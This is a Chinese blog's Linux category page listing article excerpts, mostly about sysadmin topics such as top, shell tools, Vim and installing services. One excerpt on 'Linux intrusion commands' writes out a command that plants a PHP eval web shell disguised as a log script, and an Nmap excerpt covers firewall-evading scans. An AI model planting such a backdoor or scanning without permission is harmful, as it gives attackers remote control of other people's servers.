Linux
文章平均质量分 75
K'illCode
记录自己的学习历程,大部分来自转载,如有侵权联系删除.......
展开
-
看懂top
本文转自掘金 https://juejin.cn/post/6844903919588491278后端们最怕的事情之一就是服务器的负载突然飙升,这可能又意味着一个个夺目Call马上要打过来了。碰到这种情况怎么办,大家第一反应一定是登陆到服务器上,先敲一个top命令看看Load Average吧。今天这篇文章和大家说说怎么看这个“Load Average”。Load Average很多人说Load Average这一个指标就能说明系统负载高了,这句话是对的。那...原创 2021-02-02 22:51:07 · 214 阅读 · 0 评论 -
Linux Shell 文本处理工具集锦
来自:大CC链接:www.cnblogs.com/me15/p/3427319.html本文将介绍Linux下使用Shell处理文本时最常用的工具:find、grep、xargs、sort、uniq、tr、cut、paste、wc、sed、awk;提供的例子和参数都是最常用和最为实用的;对shell脚本使用的原则是命令单行书写,尽量不要超过2行;如果有更为复杂的任务需求,还是考虑python吧;我把 linux相关的文章整理成了 PDF,关注公众号Java后端并回复666...转载 2020-07-17 22:05:34 · 143 阅读 · 0 评论 -
Linux 思维导图整理
今天整理了一下收集的Linux思维导图。Linux 学习路径Linux 桌面介绍FHS:文件系统目录标准Linux 需要特别注意的目录Linux 内核学习路线地址:https://www.jianshu.com/p/b087a229aaf1Linux Security Coachin...原创 2020-02-23 14:22:13 · 328 阅读 · 0 评论 -
Linux shell命令总结大全
前言Linux shell命令应该算是非常入门的东西,但是实际上在使用的时候,会遇到各种各样的问题,前几天我在我们的项目上需要做一个功能,根据进程名字杀死这个进程,下面是过程1、我们正常需要的操作是$ps |grep xxx$kill -9 xx2、kill命令是常用的,但是用killall命令会更快$killall -9 xxx...原创 2020-01-31 11:14:12 · 300 阅读 · 0 评论 -
玩转Linux,介绍一个强大的Linux服务器管理面板,比宝塔更强
介绍之前大多数时候听到或者看到的Linux服务器的管理面板都是宝塔面板,确实宝塔面板非常方便而且好用,安装也简单,复制粘贴几句命令即可安装完成,且提供免费版,本文向大家介绍另一个Linux的服务器面板——AppNode,功能丰富,也提供免费版,且是永久免费!系统要求 操作系统:CentOS 6.x 32/64位 CentOS 7.x 64位 (暂不支持 Ubu...原创 2020-01-12 19:12:01 · 931 阅读 · 0 评论 -
linux中如何查询端口被占用的情况
今天要使用python写一个端口探测的小程序,以检测一些特定的服务端口有没有被占用,突然发现自己居然不知道在linux中如何查询端口被占用的情况,天呐,赶快学习一下。 Linux如何查看端口 1、lsof -i:端口号 用于查看某一端口的占用情况,比如查看8000端口使用情况,lsof -i:8000 可以看到8000端口已经被轻量级文件系统转发服务lwfs占用...原创 2019-01-28 13:55:57 · 579 阅读 · 0 评论 -
如何查看 Linux 中所有正在运行的服务 | Linux 中国
致谢编译自 | https://www.2daygeek.com/how-to-check-all-running-services-in-linux/ 作者 | Magesh Maruthamuthu 译者 | jessie-pang 共计翻译:13 篇 贡献时间:215 天有许多方法和工具可以查看 Linux 中所有正在运行的服务。大多数管理员会在 System V(SysV)...转载 2018-08-16 16:36:39 · 3118 阅读 · 0 评论 -
排查Linux机器是否已经被入侵
随着开源产品的越来越盛行,作为一个Linux运维工程师,能够清晰地鉴别异常机器是否已经被入侵了显得至关重要,个人结合自己的工作经历,整理了几种常见的机器被黑情况供参考。 背景信息:以下情况是在CentOS 6.9的系统中查看的,其它Linux发行版类似。1.入侵者可能会删除机器的日志信息,可以查看日志信息是否还存在或者是否被清空,相关命令示例:2.入侵者可能创建一个新的存放用户...原创 2018-08-16 17:00:55 · 298 阅读 · 0 评论 -
Linux Shell 通配符、元字符、转义符
说到shell通配符(wildcard),大家在使用时候会经常用到。下面是一个实例: [chengmo@localhost ~/shell]$ lsa.txt b.txt c.old [chengmo@localhost ~/shell]$ ls *.txta.txt b.txt [chengmo@localhost ~/shell]$ ls d*.txt...原创 2018-10-08 19:18:41 · 285 阅读 · 0 评论 -
简单的命令改善你的Linux安全
本文中,我们将讨论如何通过一些Linux的安全命令,加固你的Linux系统。在最开始,我们需要问的一个问题是:Linux是已经足够被安全加固了吗?答案当然是否定的。那些娴熟的攻击者所带来的危险是与日俱增的。每天、甚至是每小时都有新的漏洞被发现。对这些漏洞的利用方法通常建立在它们被发现后的数小时之内。一些漏洞甚至直到有人将其利用到攻击的主机上才被发现。可见,安全应该是我们所有人需要关心的。因此,...原创 2018-12-04 19:35:10 · 171 阅读 · 0 评论 -
Linux系统进程的知识总结,进程与线程之间的纠葛...
当一个程序开始执行后,在开始执行到执行完毕退出这段时间内,它在内存中的部分就叫称作一个进程。 Linux 是一个多任务的操作系统,也就是说,在同一时间内,可以有多个进程同时执行。我们大家常用的单CPU计算机实际上在一个时间片段内只能执行一条指令。那么Linux是如何实现多进程的同时执行的呢?原来Linux使用了一种称为” 进程调度 “的手段,首先,为每个进程指派一定的运行时间,这个时间通常...原创 2018-07-19 11:27:53 · 167 阅读 · 0 评论 -
Nmap笔记
一、主机发现1. 全面扫描/综合扫描nmap -A 192.168.1.1032. Ping扫描nmap -sP 192.168.1.1/243. 免Ping扫描,穿透防火墙,避免被防火墙发现nmap -P0 192.168.1.1034. TCP SYN Ping 扫描nmap -PS -v 192.168.1.103nmap -PS80,10-100 -v 192.168.1.103 (针对防...原创 2018-07-02 20:13:16 · 475 阅读 · 0 评论 -
97条 Linux 常用命令总结
1.ls [选项] [目录名 | 列出相关目录下的所有目录和文件-a 列出包括.a开头的隐藏文件的所有文件-A 通-a,但不列出"."和".."-l 列出文件的详细信息-c 根据ctime排序显示-t 根据文件修改时间排序---color[=WHEN] 用色彩辨别文件类型 WHEN 可以是'never'、'always'或'auto'其中之一 白色:表示普通文件 蓝色:表示目录 ...原创 2018-07-02 20:11:04 · 262 阅读 · 0 评论 -
Centos7 下 denyHosts 安装及使用
安装撰写博客时,库内的denyhosts版本为2.9yum install -y denyhosts1配置配置文件路径vim /etc/denyhosts.conf1配置(yum安装时,大部分配置已写好,稍作改动即可)DENY_THRESHOLD_INVALID = 5 #无效用户名限制登陆次数DENY_THRESHOLD_VALID = 10 #有效用户名限制登陆次数DENY_THRESHO...转载 2018-05-28 08:51:55 · 1234 阅读 · 0 评论 -
java程序员需要掌握的 Linux 常用性能分析命令
性能分析vmstat虚拟内存统计用法其中r : 运行和等待 CPU 时间片的进程数。若该值大于系统 CPU 个数,则说明 CPU 不足b : 表示等待资源的进程数swpd : 切换到内存交换区的内存大小(单位 KB)free: 空闲的物理内存的大小,我的机器内存总共2G,剩余92M。buff: Linux/Unix系统是用来存储,目录里面有什么内容,权限等的缓存cache:直接用来记忆我们打开的文...原创 2018-04-01 15:57:41 · 384 阅读 · 0 评论 -
Linux常用的100+命令大全万字详解长文(珍藏版)
Linux提供了大量的命令,利用它可以有效地完成大量的工作,如磁盘操作、文件存取、目录操作、进程管理、文件权限设定等。所以,在Linux系统上工作离不开使用系统提供的命令。要想真正理解Linux系统,就必须从Linux命令学起,通过基础的命令学习可以进一步理解Linux系统。不同Linux发行版的命令数量不一样,但Linux发行版本最少的命令也有200多个。这里马哥linux学院学习小组把比较重要...转载 2018-03-04 14:16:13 · 790 阅读 · 0 评论 -
深入解读 Linux 用户及用户组管理
概述Linux系统是一个多用户多任务的分时操作系统,任何一个要使用系统资源的用户,都必须首先向系统管理员申请一个账号,然后以这个账号的身份进入系统。用户的账号一方面可以帮助系统管理员对使用系统的用户进行跟踪,并控制他们对系统资源的访问;另一方面也可以帮助用户组织文件,并为用户提供安全性保护。每个用户账号都拥有一个惟一的用户名和各自的口令。原创 2018-02-06 16:00:34 · 327 阅读 · 0 评论 -
linux下各文件夹的结构说明及用途介绍
linux下各文件夹的结构说明及用途介绍:/bin:二进制可执行命令。/dev:设备特殊文件。/etc:系统管理和配置文件。/etc/rc.d:启动的配 置文件和脚本。/home:用户主目录的基点,比如用户user的主目录就是/home/user,可以用~user表示。/lib:标准程序设计库,又 叫动态链接共享库,作用类似windows原创 2018-02-04 18:48:01 · 304 阅读 · 0 评论 -
CentOS系统启动流程
当我们按下开机键后,系统背后的秘密我们是否了解呢?这里,我带大家探索一下linux系统开机背后的秘密。 1.加电自检 主板在接通电源后,系统首先由POST程序来对内部各个设备进行检查,自检中如发现有错误,将按两种情况处理:对于严重故障(致命性故障)则停机,此时由于各种初始化操作还没完成,不能给出任何提示或信号;对于非严重故障则给出提示或声音报警信号,等待用户处理。 ...转载 2018-12-12 20:20:12 · 183 阅读 · 0 评论 -
Linux运维工程师的80个监控工具全集(上)
随着互联网行业的不断发展,各种监控工具多得不可胜数。这里列出网上最全的监控工具。让你可以拥有超过80种方式来管理你的机器。在本文中,我们主要包括以下方面: 命令行工具 网络相关内容 系统相关的监控工具 日志监控工具 基础设施监控工具 监控和调试性能问题是一个艰巨的任务,但用对了正确的工具有时也是很容易的。下面是一些你可能听说过的工具,也有可能没...转载 2018-12-22 19:48:35 · 215 阅读 · 0 评论 -
138 条 Vim 命令、操作、快捷键全集
命令历史以:和/开头的命令都有历史纪录,可以首先键入:或/然后按上下箭头来选择某个历史命令。启动vim在命令行窗口中输入以下命令即可vim 直接启动vimvim filename 打开vim并创建名为filename的文件文件命令打开单个文件vim file同时打开多个文件vim file1 file2 file3 ...在vim窗口中打开一个新文件...转载 2019-01-08 11:12:50 · 206 阅读 · 0 评论 -
服务器报错了排查!
1. 服务异常的处理流程2. 负载2.1 查看机器 cpu 的负载top-b -n 1 |grep java|awk '{print"VIRT:"$5,"RES:"$6,"cpu:"$9"%","mem:"$10"%"}'2.2 查找 cpu 占用率高的线程top -p25603-Hprintf0x%x25842jstack25603...转载 2019-06-16 18:47:01 · 933 阅读 · 0 评论 -
管理 Linux 环境变量
在 Linux 系统上的用户账户配置以多种方法简化了系统的使用。你可以运行命令,而不需要知道它们的位置。你可以重新使用先前运行的命令,而不用发愁系统是如何追踪到它们的。你可以查看你的电子邮件,查看手册页,并容易地回到你的家目录,而不用管你在文件系统中身在何方。并且,当需要的时候,你可以调整你的账户设置,以便其更符合你喜欢的方式。Linux 环境设置来自一系列的文件:一些是系统范围(意味着它们影...原创 2019-06-02 12:51:34 · 172 阅读 · 0 评论 -
运维技能图谱
运维是一个融合多学科(网络、系统、开发、安全、应用架构、存储等)的综合性技术岗位,从最初的网络管理(网管)发展到现在的系统运维工程师、网络运维工程师、安全运维工程师、运维开发工程师等,可以看出,运维的分工一直在细化,并且对综合技能要求越来越高,可以看出,未来运维的发展趋势是高、精、尖,高表示高度,精表示精通,尖表示尖端,也就是运维职场一定要站在一定的技术高度,在多个技术领域中,要精通某项技能,同时...转载 2019-05-27 11:37:53 · 792 阅读 · 0 评论 -
常用linux入侵常用命令
写个php一句话后门上去:[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.php[jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php1.linux的想着先跨站。shell浏览目标...原创 2019-05-14 17:20:21 · 608 阅读 · 0 评论 -
用 Linux Shell 脚本来监控磁盘使用情况并发送邮件
市场上有很多用来监控 Linux 系统的监控工具,当系统到达阀值后它将发送一封邮件。它监控所有的东西例如 CPU 利用率、内存利用率、交换空间利用率、磁盘空间利用率等等。然而,它更适合小环境和大环境。想一想如果你只有少量系统,那么什么是最好的方式来应对这种情况。是的,我们想要写一个shell 脚本来实现。在这篇指南中我们打算写一个 shell 脚本来监控系统的磁盘空间使用率。当系统...原创 2019-05-19 09:15:52 · 1202 阅读 · 0 评论 -
CentOS上搭建Kubernetes集群
1.安装net-tools[root@localhost ~]# yum install -y net-tools2.关闭firewalld[root@localhost ~]# systemctl stop firewalld && systemctl disable firewalldRemoved symlink /etc/...原创 2019-05-10 09:37:16 · 307 阅读 · 1 评论 -
24 道 shell 脚本面试题
虽然现在Python在运维工作中已经使用很普遍,但是很多企业在找Linux云计算工程师的时候还是会问到shell 脚本的问题,它有助于你在工作环境中自动完成很多任务。如下是一些面试过程中,经常会遇到的 shell 脚本面试问题及解答:Q:1 Shell脚本是什么、它是必需的吗?答:一个Shell脚本是一个文本文件,包含一个或多个命令。作为系统管理员,我们经常需要使用...转载 2019-05-09 10:02:34 · 470 阅读 · 0 评论 -
linux平台下Tomcat的安装与优化
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行...原创 2019-05-02 18:11:21 · 184 阅读 · 0 评论 -
Linux 文档全部知识
写在前面我们都知道Linux是一个支持多用户、多任务的系统,这也是它最优秀的特性,即可能同时有很多人都在系统上进行工作,所以千万不要强制关机,同时,为了保护每个人的隐私和工作环境,针对某一个文档(文件、目录),Linux系统定义了三种身份,分别是拥有者(owner)、群组(group)、其他人(others),每一种身份又对应三种权限,分别是可读(readable)、可写(writabl...原创 2019-04-28 14:07:14 · 199 阅读 · 0 评论 -
Linux shell 逻辑运算符、逻辑表达式详解
shell的逻辑运算符 涉及有以下几种类型,因此只要适当选择,可以解决我们很多复杂的判断,达到事半功倍效果。一、逻辑运算符1、逻辑卷标表示意思1)关于档案与目录的侦测逻辑卷标-f 常用!侦测『档案』是否存在 eg: if [ -f filename ]-d 常用!侦测『目录』是否存在-b 侦测是否为一个『 block 档案』-c 侦测是否为一个『 character 档...原创 2019-02-28 13:38:01 · 614 阅读 · 0 评论 -
几个面试官常问的Shell脚本编写
注意事项 1)开头加解释器:#!/bin/bash 2)语法缩进,使用四个空格;多加注释说明。 3)命名建议规则:变量名大写、局部变量小写,函数名小写,名字体现出实际作用。 4)默认变量是全局的,在函数中变量local指定为局部变量,避免污染其他作用域。 5)有两个命令能帮助我调试脚本:set -e 遇到执行非0时退出脚本,set-x 打印执行过程。 ...原创 2019-02-21 18:35:52 · 1124 阅读 · 0 评论 -
Linux搭建socks5代理服务器
1、编译安装SS5需要先安装一些依赖组件yum -y install gcc gcc-c automake make pam-devel openldap-devel cyrus-sasl-devel openssl-devel 2、去官网http://ss5.sourceforge.net/ 下载SS5最新版本的源代码wget http://jaist.dl.sour...转载 2019-01-28 11:49:47 · 2821 阅读 · 0 评论 -
Linux 磁盘管理基础知识全汇总
一、存储设备的挂载和卸载存储设备的挂载和卸载常用操作命令:fdisk -l、df、du、mount、umount。fdisk -l 命令1.作用查看所有硬盘的分区信息,包括没有挂上的分区和USB设备,挂载时需要用这条命令来查看分区或USB设备的名称,比如挂载U盘时。注意:Linux中既然硬件是以文件形式存在,则也可以l转载 2018-02-04 18:32:08 · 560 阅读 · 0 评论 -
Linux简单入门(十九)NFS服务配置
【什么是NFS】NFS会经常用到,用于在网络上共享存储。这样讲,你对NFS可能不太了解,笔者不妨举一个例子来说明一下NFS是用来做什么的。假如有三台机器A、B、C,它们需要访问同一个目录,目录中都是图片,传统的做法是把这些图片分别放到A、B、C。但是使用NFS只需要放到A上,然后A共享给B和C即可。访问的时候,B和C是通过网络的方式去访问A上的那个目录的。【配置NF转载 2018-01-27 14:10:33 · 385 阅读 · 0 评论 -
Linux简单入门(一)Linux历史
很多关于linux的书籍在前面章节中写了一大堆东西来介绍linux,可惜读者看了好久也没有正式开始进入linux的世界,这样反而导致了他们对linux失去了一些兴趣,而把厚厚的一本书丢掉。Linux的历史确实有必要让读者了解的,但是不了解也并不会影响你将来的linux技术水平。哈哈,本人其实就不怎么了解linux的历史,所以对于linux的历史在本教程中不会涉及到。如果你感兴趣的话转载 2018-01-25 11:20:29 · 248 阅读 · 0 评论 -
CentOS安装jdk
1、将下载好的jdk包通过ssh上传到centos操作系统 这里是jdk-8u45-linux-x64.tar.gz 下载链接:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html2、进行解压tar -vxzf jdk-8u45-linux-x64.tar.gz转载 2018-01-07 15:49:33 · 212 阅读 · 0 评论 -
CentOS安装Apache
1.首先查看系统是否已经安装了Apache,敲rpm -qa -httpd。2.敲yum search httpd,搜索Apache。3.敲yum install httpd -y,安装成功如下显示:4.几条基本命令,rpm -qa httpd.5.查看软件安装位置,rpm -ql httpd.6.启动Apache,首转载 2018-01-07 14:56:24 · 322 阅读 · 0 评论 -
Centos7下安装mysql
安装环境:CentOS7 64位,MySQL5.71、配置YUM源在MySQL官网中下载YUM源rpm安装包:http://dev.mysql.com/downloads/repo/yum/ # 下载mysql源安装包shell> wget http://dev.mysql.com/get/mysql57-community-release-el7-8.noarch.rp转载 2018-01-07 14:47:15 · 333 阅读 · 0 评论 -
Linux 主要文件和关键命令
如下是一份 Linux 机器的渗透测试备忘录,是在后期开发期间或者执行命令注入等操作时的一些典型命令,设计为测试人员进行本地枚举检查之用。系统信息命令对于本地的枚举检查很有用。基于 Redhat / CentOS / RPM 的发行版原创 2018-01-23 19:52:19 · 393 阅读 · 0 评论